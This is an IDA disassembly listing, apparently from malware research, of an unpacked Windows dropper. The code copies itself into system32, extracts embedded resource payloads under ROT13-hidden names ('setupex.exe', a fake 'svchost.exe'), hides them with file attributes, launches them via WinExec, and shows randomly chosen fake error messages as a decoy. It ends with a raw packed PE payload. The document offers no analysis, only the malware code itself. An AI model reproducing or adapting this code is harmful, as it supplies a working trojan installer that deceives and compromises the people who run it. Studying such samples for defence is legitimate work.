;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	F51803BFC5A1088E2933577F18A1267C

; File Name   :	u:\work\f51803bfc5a1088e2933577f18a1267c_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0000C000 (  49152.)
; Section size in file		: 0000C000 (  49152.)
; Offset to raw	data for section: 00001000
; Flags	C00000E0: Text Data Bss	Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
seg000		segment	para public 'BSS' use32
		assume cs:seg000
		;org 401000h
		assume es:nothing, ss:nothing, ds:seg000, fs:nothing, gs:nothing
dword_401000	dd 7C801EEEh	; resolved to->KERNEL32.GetStartupInfoAdword_401004	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleAdword_401008	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameAdword_40100C	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileAdword_401010	dd 7C86FC8Bh	; resolved to->KERNEL32.BeginUpdateResourceAdword_401014	dd 7C80BE89h	; resolved to->KERNEL32.FindResourceAdword_401018	dd 7C809FB5h	; resolved to->KERNEL32.LoadResourcedword_40101C	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCount					; sub_401214+17Dr
dword_401020	dd 7C80BC69h	; resolved to->KERNEL32.SizeofResource					; sub_401214+187r
dword_401024	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_401214+1D4r
dword_401028	dd 7C810D87h	; resolved to->KERNEL32.WriteFile					; sub_401214+1E6r
dword_40102C	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_401214+1EDr
dword_401030	dd 7C86136Dh	; resolved to->KERNEL32.WinExec					; sub_401214+20Ar
dword_401034	dd 7C812782h	; resolved to->KERNEL32.SetFileAttributesAdword_401038	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCountdword_40103C	dd 7C821363h	; resolved to->KERNEL32.GetWindowsDirectoryA		dd 0
dword_401044	dd 77C3537Ch	; resolved to->MSVCRT.__set_app_type					; seg000:004016F5o
dword_401048	dd 77C1F1DBh	; resolved to->MSVCRT.__p__fmodedword_40104C	dd 77C4EE2Fh	; resolved to->MSVCRT._controlfpdword_401050	dd 77C1F1A4h	; resolved to->MSVCRT.__p__commodedword_401054	dd 77C623D8h	; resolved to->MSVCRT._adjust_fdivdword_401058	dd 77C4D675h	; resolved to->MSVCRT.__setusermatherrdword_40105C	dd 77C39D67h	; resolved to->MSVCRT._inittermdword_401060	dd 77C1EEEBh	; resolved to->MSVCRT.__getmainargsdword_401064	dd 77C617ACh	; resolved to->MSVCRT._acmdlndword_401068	dd 77C39E7Eh	; resolved to->MSVCRT.exitdword_40106C	dd 77C32DAEh	; resolved to->MSVCRT._XcptFilterdword_401070	dd 77C39E9Ah	; resolved to->MSVCRT._exitdword_401074	dd 77C47C60h	; resolved to->MSVCRT.strstrdword_401078	dd 77C3F931h	; resolved to->MSVCRT.sprintf					; sub_401214+1B5r
dword_40107C	dd 77C478A0h	; resolved to->MSVCRT.strlendword_401080	dd 77C1C9C9h	; resolved to->MSVCRT.tolower; ---------------------------------------------------------------------------


loc_401084:				; DATA XREF: seg000:loc_4015C0r
		xchg	eax, esp
		pop	esp
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 0
dword_40108C	dd 7E41A8ADh	; resolved to->USER32.wsprintfAdword_401090	dd 7E45058Ah	; resolved to->USER32.MessageBoxA		align 8
dword_401098	dd 0FFFFFFFFh, 401572h,	401586h, 3 dup(0)
; =============== S U B	R O U T	I N E =======================================



sub_4010B0	proc near		; CODE XREF: sub_401214+Cp
		call	dword_401038	; GetTickCount
		mov	dword_402150, eax
		retn
sub_4010B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010BC	proc near		; CODE XREF: sub_4011D0+9p
		mov	eax, dword_402150
		imul	eax, 15A4E35h
		inc	eax
		mov	dword_402150, eax
		shr	eax, 10h
		retn
sub_4010BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010D1	proc near		; CODE XREF: sub_4010F3+2Fp
					; sub_4010F3+57p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]


loc_4010D5:				; CODE XREF: sub_4010D1+11j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4010E4
		cmp	cl, [esp+arg_4]
		jz	short loc_4010E4
		inc	eax
		jmp	short loc_4010D5
; ---------------------------------------------------------------------------


loc_4010E4:				; CODE XREF: sub_4010D1+8j
					; sub_4010D1+Ej
		mov	cl, [eax]
		sub	cl, [esp+arg_4]
		neg	cl
		sbb	ecx, ecx
		not	ecx
		and	eax, ecx
		retn
sub_4010D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010F3	proc near		; CODE XREF: sub_40116E+15p

var_38		= byte ptr -38h
var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	esi
		push	edi
		push	6
		mov	esi, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
		pop	ecx
		lea	edi, [ebp+var_1C]
		rep movsd
		movsw
		movsb
		push	6
		mov	esi, offset aAbcdefghijkl_0 ; "abcdefghijklmnopqrstuvwxyz"
		pop	ecx
		lea	edi, [ebp+var_38]
		rep movsd
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C]
		movsw
		push	eax
		movsb
		call	sub_4010D1
		pop	ecx
		pop	ecx
		pop	edi
		test	eax, eax
		pop	esi
		jz	short loc_401143
		lea	ecx, [ebp+var_1C]
		push	1Ah
		sub	eax, ecx
		pop	ecx
		add	eax, 0Dh
		cdq
		idiv	ecx
		mov	al, [ebp+edx+var_1C]
		leave
		retn
; ---------------------------------------------------------------------------


loc_401143:				; CODE XREF: sub_4010F3+3Aj
		push	[ebp+arg_0]
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4010D1
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401169
		lea	ecx, [ebp+var_38]
		push	1Ah
		sub	eax, ecx
		pop	ecx
		add	eax, 0Dh
		cdq
		idiv	ecx
		mov	al, [ebp+edx+var_38]
		leave
		retn
; ---------------------------------------------------------------------------


loc_401169:				; CODE XREF: sub_4010F3+60j
		mov	al, byte ptr [ebp+arg_0]
		leave
		retn
sub_4010F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40116E	proc near		; CODE XREF: sub_4011D0+25p
					; sub_401214+41p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, [esp+8+arg_4]
		push	edi
		xor	edi, edi
		mov	al, [esi]
		test	al, al
		jz	short loc_401193


loc_401181:				; CODE XREF: sub_40116E+23j
		push	eax
		inc	esi
		call	sub_4010F3
		mov	[edi+ebx], al
		mov	al, [esi]
		inc	edi
		pop	ecx
		test	al, al
		jnz	short loc_401181


loc_401193:				; CODE XREF: sub_40116E+11j
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40116E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40119D	proc near		; CODE XREF: sub_401214+4Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_40142E	; strlen
		test	eax, eax
		pop	ecx
		jbe	short loc_4011CB


loc_4011B0:				; CODE XREF: sub_40119D+2Cj
		movsx	eax, byte ptr [esi+edi]
		push	eax
		call	dword_401080	; tolower
		mov	[esi+edi], al
		push	edi
		inc	esi
		call	sub_40142E	; strlen
		pop	ecx
		cmp	esi, eax
		pop	ecx
		jb	short loc_4011B0


loc_4011CB:				; CODE XREF: sub_40119D+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40119D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4011D0	proc near		; CODE XREF: sub_401214+6Dp

var_100		= byte ptr -100h

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		call	sub_4010BC
		movzx	eax, ax
		push	4
		cdq
		pop	ecx
		idiv	ecx
		lea	eax, [ebp+var_100]
		push	off_402010[edx*4]
		push	eax
		call	sub_40116E
		pop	ecx
		lea	eax, [ebp+var_100]
		pop	ecx
		push	10h
		push	offset aError	; "Error"
		push	eax
		push	0
		call	dword_401090	; MessageBoxA
		leave
		retn
sub_4011D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401214	proc near		; CODE XREF: sub_401434+12Fp

var_480		= byte ptr -480h
var_37C		= byte ptr -37Ch
var_278		= byte ptr -278h
var_178		= byte ptr -178h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 480h
		push	ebx
		push	esi
		push	edi
		call	sub_4010B0
		mov	esi, 104h
		lea	eax, [ebp+var_480]
		push	esi
		push	eax
		call	dword_40103C	; GetWindowsDirectoryA
		lea	eax, [ebp+var_37C]
		push	esi
		xor	ebx, ebx
		push	eax
		push	ebx
		call	dword_401008	; GetModuleFileNameA
		lea	eax, [ebp+var_278]
		push	offset aHch_rkr	; "hch.rkr"
		push	eax
		call	sub_40116E
		lea	eax, [ebp+var_37C]
		push	eax
		call	sub_40119D
		lea	eax, [ebp+var_278]
		push	eax
		lea	eax, [ebp+var_37C]
		push	eax
		call	dword_401074	; strstr
		add	esp, 14h
		test	eax, eax
		jnz	short loc_401286
		call	sub_4011D0


loc_401286:				; CODE XREF: sub_401214+6Bj
		lea	eax, [ebp+var_278]
		push	eax
		lea	eax, [ebp+var_480]
		push	eax
		lea	eax, [ebp+var_178]
		push	offset aSSystem32S ; "%s\\system32\\%s"
		push	eax
		call	dword_40108C	; wsprintfA
		add	esp, 10h
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		lea	eax, [ebp+var_37C]
		push	eax
		call	dword_40100C	; CopyFileA
		lea	eax, [ebp+var_37C]
		push	ebx
		push	eax
		mov	[ebp+var_178], bl
		call	dword_401010	; BeginUpdateResourceA
		mov	esi, dword_401014
		push	offset aRt_rcdata ; "RT_RCDATA"
		push	69h
		push	[ebp+arg_0]
		call	esi	; FindResourceA
		mov	edi, dword_401018
		push	eax
		push	ebx
		mov	[ebp+var_4], eax
		call	edi	; LoadResource
		push	eax
		call	dword_40101C	; SetHandleCount
		push	[ebp+var_4]
		mov	[ebp+var_C], eax
		push	ebx
		call	dword_401020	; SizeofResource
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_278]
		push	offset aFrghcrk_rkr ; "frghcrk.rkr"
		push	eax
		call	sub_40116E
		push	eax
		lea	eax, [ebp+var_480]
		push	eax
		lea	eax, [ebp+var_178]
		push	offset aSSystem32S ; "%s\\system32\\%s"
		push	eax
		call	dword_401078	; sprintf
		add	esp, 18h
		lea	eax, [ebp+var_178]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	ebx
		push	0C0000000h
		push	eax
		call	dword_401024	; CreateFileA
		lea	ecx, [ebp+var_8]
		push	ebx
		push	ecx
		mov	[ebp+var_10], eax
		push	[ebp+var_4]
		push	[ebp+var_C]
		push	eax
		call	dword_401028	; WriteFile
		push	[ebp+var_10]
		call	dword_40102C	; CloseHandle
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		call	dword_401030	; WinExec
		push	offset aRt_rcdata ; "RT_RCDATA"
		push	67h
		push	[ebp+arg_0]
		call	esi	; FindResourceA
		mov	esi, eax
		push	esi
		push	ebx
		call	edi	; LoadResource
		push	eax
		call	dword_40101C	; SetHandleCount
		push	esi
		push	ebx
		mov	edi, eax
		call	dword_401020	; SizeofResource
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_278]
		push	offset aFipubfg_rkr ; "fipubfg.rkr"
		push	eax
		call	sub_40116E
		push	eax
		lea	eax, [ebp+var_480]
		push	eax
		lea	eax, [ebp+var_178]
		push	offset aSS	; "%s\\%s"
		push	eax
		call	dword_401078	; sprintf
		add	esp, 18h
		lea	eax, [ebp+var_178]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	ebx
		push	0C0000000h
		push	eax
		call	dword_401024	; CreateFileA
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	[ebp+var_4]
		push	edi
		push	esi
		call	dword_401028	; WriteFile
		push	esi
		call	dword_40102C	; CloseHandle
		lea	eax, [ebp+var_178]
		push	7
		push	eax
		call	dword_401034	; SetFileAttributesA
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		call	dword_401030	; WinExec
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_401214	endp

; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40142E	proc near		; CODE XREF: sub_40119D+9p
					; sub_40119D+23p
		jmp	dword_40107C
sub_40142E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401434	proc near		; CODE XREF: start+A1j

var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_60		= byte ptr -60h
var_5C		= byte ptr -5Ch
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_401098
		push	offset loc_4015C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 68h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		mov	[ebp+var_4], ebx
		push	2
		call	dword_401044	; __set_app_type
		pop	ecx
		or	dword_402164, 0FFFFFFFFh
		or	dword_402168, 0FFFFFFFFh
		call	dword_401048	; __p__fmode
		mov	ecx, dword_402160
		mov	[eax], ecx
		call	dword_401050	; __p__commode
		mov	ecx, dword_40215C
		mov	[eax], ecx
		mov	eax, dword_401054
		mov	eax, [eax]
		mov	dword_40216C, eax
		call	nullsub_1
		cmp	dword_402144, ebx
		jnz	short loc_4014B7
		push	offset sub_4015B0
		call	dword_401058	; __setusermatherr
		pop	ecx


loc_4014B7:				; CODE XREF: sub_401434+75j
		call	sub_40159E
		push	offset dword_40200C
		push	offset dword_402008
		call	sub_401598	; _initterm
		mov	eax, dword_402158
		mov	[ebp+var_6C], eax
		lea	eax, [ebp+var_6C]
		push	eax
		push	dword_402154
		lea	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+var_70]
		push	eax
		lea	eax, [ebp+var_60]
		push	eax
		call	dword_401060	; __getmainargs
		push	offset dword_402004
		push	offset dword_402000
		call	sub_401598	; _initterm
		add	esp, 24h
		mov	eax, dword_401064
		mov	esi, [eax]
		mov	[ebp+var_74], esi
		cmp	byte ptr [esi],	22h
		jnz	short loc_40154A


loc_401510:				; CODE XREF: sub_401434+E8j
		inc	esi
		mov	[ebp+var_74], esi
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_40151E
		cmp	al, 22h
		jnz	short loc_401510


loc_40151E:				; CODE XREF: sub_401434+E4j
		cmp	byte ptr [esi],	22h
		jnz	short loc_401527


loc_401523:				; CODE XREF: sub_401434+FBj
		inc	esi
		mov	[ebp+var_74], esi


loc_401527:				; CODE XREF: sub_401434+EDj
					; sub_401434+119j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_401531
		cmp	al, 20h
		jbe	short loc_401523


loc_401531:				; CODE XREF: sub_401434+F7j
		mov	[ebp+var_30], ebx
		lea	eax, [ebp+var_5C]
		push	eax
		call	dword_401000	; GetStartupInfoA
		test	byte ptr [ebp+var_30], 1
		jz	short loc_401555
		movzx	eax, [ebp+var_2C]
		jmp	short loc_401558
; ---------------------------------------------------------------------------


loc_40154A:				; CODE XREF: sub_401434+DAj
					; sub_401434+11Fj
		cmp	byte ptr [esi],	20h
		jbe	short loc_401527
		inc	esi
		mov	[ebp+var_74], esi
		jmp	short loc_40154A
; ---------------------------------------------------------------------------


loc_401555:				; CODE XREF: sub_401434+10Ej
		push	0Ah
		pop	eax


loc_401558:				; CODE XREF: sub_401434+114j
		push	eax
		push	esi
		push	ebx
		push	ebx
		call	dword_401004	; GetModuleHandleA
		push	eax
		call	sub_401214
		mov	[ebp+var_68], eax
		push	eax
		call	dword_401068	; exit
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp+var_78], ecx
		push	eax
		push	ecx
		call	sub_401592	; _XcptFilter
		pop	ecx
		pop	ecx
		retn
sub_401434	endp

; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-78h]
		call	dword_401070	; _exit

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401592	proc near		; CODE XREF: sub_401434+14Ap
		jmp	dword_40106C
sub_401592	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401598	proc near		; CODE XREF: sub_401434+92p
					; sub_401434+C5p
		jmp	dword_40105C
sub_401598	endp


; =============== S U B	R O U T	I N E =======================================



sub_40159E	proc near		; CODE XREF: sub_401434:loc_4014B7p
		push	30000h
		push	10000h
		call	sub_4015C6	; _controlfp
		pop	ecx
		pop	ecx
		retn
sub_40159E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4015B0	proc near		; DATA XREF: sub_401434+77o
		xor	eax, eax
		retn
sub_4015B0	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 10h


loc_4015C0:				; DATA XREF: sub_401434+Ao
		jmp	dword ptr loc_401084

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4015C6	proc near		; CODE XREF: sub_40159E+Ap
		jmp	dword_40104C
sub_4015C6	endp

; ---------------------------------------------------------------------------
		dd 40h dup(0)
		db    0
		align 2
		dw 8C01h
		db  10h
		db 40h,	0, 55h
		db  53h	; S
		db 45h,	52h, 33h
		db  32h	; 2
		db 2Eh,	64h, 6Ch
		db  6Ch	; l
		align 2
aWsprintfa	db 'wsprintfA',0
aMessageboxa	db 'MessageBoxA',0
		db    0
		dd offset dword_401044
		db 4Dh,	53h, 56h
		db  43h	; C
		db 52h,	54h, 2Eh
		db  64h	; d
		db 2 dup(6Ch), 0
a__set_app_type	db '__set_app_type',0
a__p__fmode	db '__p__fmode',0
a_controlfp	db '_controlfp',0
a__p__commode	db '__p__commode',0
a_adjust_fdiv	db '_adjust_fdiv',0
a__setusermathe	db '__setusermatherr',0
a_initterm	db '_initterm',0
a__getmainargs	db '__getmainargs',0
a_acmdln	db '_acmdln',0
aExit		db 'exit',0
a_xcptfilter	db '_XcptFilter',0
a_exit		db '_exit',0
aStrstr		db 'strstr',0
aSprintf	db 'sprintf',0
aStrlen		db 'strlen',0
aTolower	db 'tolower',0
a_except_handle	db '_except_handler3',0
		align 4
		db  10h
		db 40h,	0, 4Bh
		db  45h	; E
		db 52h,	4Eh, 45h
		db  4Ch	; L
		db 33h,	32h, 2Eh
		db  64h	; d
		db 2 dup(6Ch), 0
aGetstartupinfo	db 'GetStartupInfoA',0
aGetmodulehandl	db 'GetModuleHandleA',0
aGetmodulefilen	db 'GetModuleFileNameA',0
aCopyfilea	db 'CopyFileA',0
aBeginupdateres	db 'BeginUpdateResourceA',0
aFindresourcea	db 'FindResourceA',0
aLoadresource	db 'LoadResource',0
aLockresource	db 'LockResource',0
aSizeofresource	db 'SizeofResource',0
aCreatefilea	db 'CreateFileA',0
aWritefile	db 'WriteFile',0
aClosehandle	db 'CloseHandle',0
aWinexec	db 'WinExec',0
aSetfileattribu	db 'SetFileAttributesA',0
aGettickcount	db 'GetTickCount',0
aGetwindowsdire	db 'GetWindowsDirectoryA',0
		align 4
		dd 1D2h	dup(0)
dword_402000	dd 0		dword_402004	dd 0		dword_402008	dd 0		dword_40200C	dd 0		off_402010	dd offset aPepPurpxfhzSnv ; DATA XREF: sub_4011D0+1Dr
					; "PEP purpxfhz	snvyrq."
		dd offset aCnpxZrgubqAbgV ; "Cnpx zrgubq abg vzcyrzragrq."
		dd offset aPbhyqAbgVavgvn ; "Pbhyq abg vavgvnyvmr vafgnyyngvba.	Svyr"...
		dd offset aSvyrVfPbeehcgr ; "Svyr vf pbeehcgrq."
aSvyrVfPbeehcgr	db 'Svyr vf pbeehcgrq.',0 ; DATA XREF: seg000:0040201Co
		align 4
aPbhyqAbgVavgvn	db 'Pbhyq abg vavgvnyvmr vafgnyyngvba. Svyr fvmr rkcrpgrq=26523, fvmr'
					; DATA XREF: seg000:00402018o
		db ' erghearq=26344.',0
		align 4
aCnpxZrgubqAbgV	db 'Cnpx zrgubq abg vzcyrzragrq.',0 ; DATA XREF: seg000:00402014o
		align 4
aPepPurpxfhzSnv	db 'PEP purpxfhz snvyrq.',0 ; DATA XREF: seg000:off_402010o
		align 10h
aAbcdefghijkl_0	db 'abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_4010F3+1Ao
		align 4
aAbcdefghijklmn	db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: sub_4010F3+Ao
		align 4
aError		db 'Error',0            ; DATA XREF: sub_4011D0+34o
		align 10h
aSS		db '%s\%s',0            ; DATA XREF: sub_401214+1AFo
		align 4
aFipubfg_rkr	db 'fipubfg.rkr',0      ; DATA XREF: sub_401214+196o
aFrghcrk_rkr	db 'frghcrk.rkr',0      ; DATA XREF: sub_401214+FAo
aRt_rcdata	db 'RT_RCDATA',0        ; DATA XREF: sub_401214+C4o
					; sub_401214+16Ao
		align 4
aSSystem32S	db '%s\system32\%s',0   ; DATA XREF: sub_401214+86o
					; sub_401214+113o
		align 4
aHch_rkr	db 'hch.rkr',0          ; DATA XREF: sub_401214+3Bo
dword_402144	dd 1				align 10h
dword_402150	dd 2DEB2A0h	dword_402154	dd 0		dword_402158	dd 0		dword_40215C	dd 0		dword_402160	dd 0		dword_402164	dd 0FFFFFFFFh	dword_402168	dd 0FFFFFFFFh	dword_40216C	dd 0				dd 3A4h	dup(0)
		dd 10000h, 20200002h, 10010h, 2E80004h,	10000h,	101010h
		dd 40001h, 128h, 2, 3 dup(0)
		dd 28h,	10h, 20h, 40001h, 0
		dd 80h,	5 dup(0)
		dd 800000h, 8000h, 808000h, 80h, 800080h, 8080h, 808080h
		dd 0C0C0C0h, 0FF0000h, 0FF00h, 0FFFF00h, 0FFh, 0FF00FFh
		dd 0FFFFh, 0FFFFFFh, 0
		dd 777878h, 0
		dd 708787h, 0
		dd 700h, 2 dup(0)
dword_4030B8	dd 78000000h, 888888h, 77777777h, 787777h, 0B8B8B87Fh
		dd 7800B7h, 8B8B8B7Fh, 780087h,	0B8B8B87Fh, 7800F7h, 8B8B8B7Fh
		dd 780087h, 0B8B8B87Fh,	7800B7h, 0FFFFFF7Fh, 7800F7h, 77B8B878h
		dd 80077h, 878B07h, 80000h, 78707700h, 808888h,	7000000h
		dd 707777h, 0A00001FEh,	11F01FEh, 10E87FFh, 3FCh, 180h
		dd 100h, 7 dup(1100h), 180h, 3C4h, 10E07FEh, 27AAh dup(0)
seg000		ends

; Section 2. (virtual address 0000D000)
; Virtual size			: 0000A000 (  40960.)
; Section size in file		: 0000A000 (  40960.)
; Offset to raw	data for section: 0000D000
; Flags	C00000E0: Text Data Bss	Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Uninitialized
; Segment permissions: Read/Write
seg001		segment	para public 'BSS' use32
		assume cs:seg001
		;org 40D000h
		assume es:nothing, ss:nothing, ds:seg000, fs:nothing, gs:nothing
		dd 3 dup(0)
		dd 20001h, 80000148h, 80000028h, 3, 80000048h, 0Eh, 80000068h
		dd 3 dup(0)
		dd 20000h, 67h,	80000080h, 69h,	80000098h, 3 dup(0)
		dd 20000h, 1, 800000B0h, 2, 800000C8h, 3 dup(0)
		dd 10000h, 6Bh,	800000E0h, 3 dup(0)
		dd 10000h, 419h, 0F8h, 3 dup(0)
		dd 10000h, 419h, 108h, 3 dup(0)
		dd 10000h, 419h, 118h, 3 dup(0)
		dd 10000h, 419h, 128h, 3 dup(0)
		dd 10000h, 419h, 138h, 0D160h, 3F50h, 2	dup(0)
		dd 110B0h, 5260h, 2 dup(0)
		dd 16324h, 2E8h, 2 dup(0)
		dd 3030h, 128h,	2 dup(0)
		dd 16310h, 22h,	2 dup(0)
aRt_rcdata_0:
		dw 9
		unicode	0, <RT_RCDATA>,0
		align 10h
aMzr		db 'MZ',0
		dd 3, 4, 4550h,	2014Ch,	21475346h, 2 dup(0)
		dd 10F00E0h, 10Bh, 4E00h, 9000h, 0
		dd 12C4Eh, 1000h, 0Ch, 400000h,	1000h, 200h, 4,	0
		dd 4, 0
		dd 13000h, 200h, 0
		dd 2, 100000h, 1000h, 100000h, 1000h, 0
		dd 10h,	2 dup(0)
		dd 12D13h, 34h,	1Dh dup(0)
		dd 74h,	0E000h,	1000h, 5 dup(0)
		dd 0C00000E0h, 0
		dd 61h,	4000h, 0F000h, 3D47h, 200h, 3 dup(0)
		dd 0C00000E0h, 4E52454Bh, 32334C45h, 6C6C642Eh,	4C000000h
		dd 4C64616Fh, 61726269h, 417972h, 74654700h, 636F7250h
		dd 72646441h, 737365h, 6 dup(0)
		dd offset byte_412D09
		dd offset byte_412CFD
		dd offset byte_412CFF
		dd 400198h, 401000h, 40F000h, 406001h, 0
		dd offset dword_4030B8+2924h
		dd 1, 412D3Bh, 0Fh dup(0)
		dd 0FF01AD00h, 68636560h, 7720726Fh, 336E7570h,	64067325h
		dd 61E93EDBh, 6C14530Ah, 210C1647h, 6767E770h, 7573E174h
		dd 0F92EC970h, 1796EA78h, 6975710Ah, 66470F74h,	202D5E8Ch
		dd 268C3A73h, 5A6841F3h, 2D52C856h, 8072493Fh, 61627666h
		dd 631203Ah, 0A0D302Eh,	67301450h, 472D0672h, 0C363776Ch
		dd 79687A26h, 6EC976F3h, 0EB2FD565h, 71726BB8h,	42203B30h
		dd 3D626F09h, 26606168h, 25223D6Ch, 20C36673h, 0E6432D4Bh
		dd 6706C67Eh, 33505E6Ch, 46725A0Fh, 79526E7Eh, 1041CC16h
		dd 796E367Ah, 470F0436h, 0FB667675h, 5922F507h,	165A8C2Dh
		dd 0F0667172h, 309EEB74h, 2090E961h, 672F80C8h,	2D30A12Eh
		dd 93C642C7h, 6B5116A6h, 8D79E58Eh, 363B61C6h, 90191FAh
		dd 1494D446h, 93677266h, 712E6A31h, 2DD8D762h, 35723231h
		dd 513B4BFBh, 7366E44Bh, 52CBE9A3h, 716270E8h, 907448CCh
		dd 9D6F5137h, 912E6405h, 730C02CAh, 1011A2Bh, 0D3BF13A1h
		dd 3E24F401h, 147207Ah,	0FB2023FFh, 288E7B84h, 0EA10290Eh
		dd 0DF4420A2h, 4073A81Ch, 0A4350111h, 0A0EF3210h, 1C9C1099h
		dd 94908F98h, 902403F2h, 8889043Ch, 5206220Fh, 5C86080h
		dd 0B4107894h, 88FF0178h, 30CE5490h, 83219DA4h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		adc	dword ptr [ebx+568D0348h], 0FDB8858Dh
		push	es
		cmp	[edi+50h], dl
		push	33617904h
		adc	al, 15h
		mov	al, ds:1546A110h
		sbb	eax, 0E045C150h
		push	1EBC6014h
		mov	eax, gs
		push	1Eh
		cmp	bl, [ecx-1Dh]
		xchg	ah, [edx]
		test	[esi+edi*8+704AC431h], edi
		adc	[eax], eax
		add	esp, 0Ch
		mov	esi, ds:4E13A86Ch
		hlt
; ---------------------------------------------------------------------------
		db 19h
		dd 2C086A57h, 0D69AD375h, 10682290h, 4E3036A3h,	895999CCh
		dd 85FC1D45h, 767485C0h, 0F9570D6Ah, 0DEA8CE3Bh, 0F82C4F2Eh
		dd 2C607434h, 0A480FC16h, 37B96D05h, 6A23082Eh,	0C87B0164h
		dd 1522B75Bh, 14DCC0C4h, 0BB7CF83Bh, 0C02059D9h, 418F5912h
		dd 0DFEAC4Dh, 44A40156h, 8061143Ch, 6D91036Ah, 8EB1BA4h
		dd 981422ECh, 8008A6D1h, 0C95E5F58h, 30448C2h, 1440838Eh
		dd 33575653h, 106AF61Bh, 5093EFD0h, 0E8B81A89h,	0D92C8B05h
		dd 6635F016h, 970428C7h, 7B96E268h, 0D1806674h,	2E47656h
		dd 0EECE6650h, 8A7C1EC8h, 3B4F3D8Bh, 0FB83D80Ah, 56030E8Ah
		dd 8C87D78Dh, 3A535090h, 0D7288AB4h, 0A6A0C14h,	3987B021h
		dd 119489F4h, 74F5F883h, 314D8DE4h, 68EC51FCh, 0B96FE7D0h
		dd 0B09CEA3Ah, 0A84ADD45h, 5B65A4D7h, 0A808A575h, 33538584h
